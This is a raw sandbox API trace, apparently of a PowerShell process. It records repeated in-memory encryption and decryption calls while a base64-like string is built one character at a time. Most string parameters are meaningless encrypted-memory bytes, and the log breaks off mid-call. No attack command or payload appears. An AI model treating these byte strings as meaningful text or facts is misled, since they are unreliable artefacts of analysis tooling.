SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0261.821] EtwEventActivityIdControl () returned 0x0 [0261.822] EtwEventActivityIdControl () returned 0x0 [0261.822] EtwEventActivityIdControl () returned 0x0 [0261.824] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0261.825] EtwEventActivityIdControl () returned 0x0 [0261.825] EtwEventActivityIdControl () returned 0x0 [0261.825] EtwEventActivityIdControl () returned 0x0 [0261.826] SysStringLen (param_1="") returned 0x8 [0261.826] SysStringLen (param_1="N") returned 0x8 [0261.826] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.826] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0261.827] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0261.827] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.827] SysStringLen (param_1="ND") returned 0x8 [0261.827] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.827] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0261.827] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0261.827] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.827] SysStringLen (param_1="NDZ") returned 0x8 [0261.827] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.827] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0261.827] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0261.827] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.828] SysStringLen (param_1="NDZl") returned 0x8 [0261.828] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.828] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0261.828] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0261.828] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.828] SysStringLen (param_1="NDZlO") returned 0x8 [0261.828] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.828] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0261.828] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0261.828] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.828] SysStringLen (param_1="NDZlOD") returned 0x8 [0261.828] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.828] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0261.828] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0261.829] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.829] SysStringLen (param_1="NDZlODR") returned 0x8 [0261.829] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.829] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0261.829] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0261.829] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.829] SysStringLen (param_1="NDZlODRm") returned 0x8 [0261.829] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0261.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0261.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0261.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0261.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0261.830] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.830] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0261.830] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0261.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0261.831] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.831] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0261.831] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0261.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0261.831] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.831] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0261.831] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0261.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0261.831] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.832] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0261.832] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0261.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0261.832] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.832] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0261.832] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0261.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0261.832] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.832] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0261.832] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0261.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0261.833] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.833] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0261.833] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0261.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0261.833] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.833] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0261.833] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0261.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0261.833] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0261.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0261.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0261.834] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.834] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0261.834] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0261.834] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0261.834] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.834] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0261.834] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0261.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0261.835] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.835] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0261.835] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0261.835] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0261.835] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.835] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0261.835] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0261.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0261.836] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.836] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0261.836] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0261.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0261.836] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.836] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0261.836] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0261.836] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0261.836] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.837] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0261.837] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0261.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0261.837] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.837] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0261.837] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0261.837] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0261.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0261.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0261.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0261.838] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.838] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0261.838] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0261.838] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0261.838] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.839] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0261.839] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0261.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0261.839] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.839] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0261.839] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0261.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0261.839] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.839] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0261.839] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0261.839] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0261.840] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.840] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0261.840] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0261.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0261.840] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.840] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0261.840] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0261.840] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0261.840] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.840] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0261.840] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0261.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0261.841] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.841] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0261.841] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0261.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0261.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0261.841] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0261.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0261.842] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.842] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0261.842] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0261.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0261.842] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.842] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0261.842] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0261.842] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0261.842] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.842] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0261.843] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0261.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0261.843] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.843] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0261.843] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0261.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0261.843] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.843] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0261.843] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0261.843] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0261.843] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.844] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0261.844] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0261.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0261.844] SystemFunction041 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.844] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0261.844] SystemFunction040 (in: Memory=0x3afdf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afdf4) returned 0x0 [0261.844] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0261.844] SysStringLen 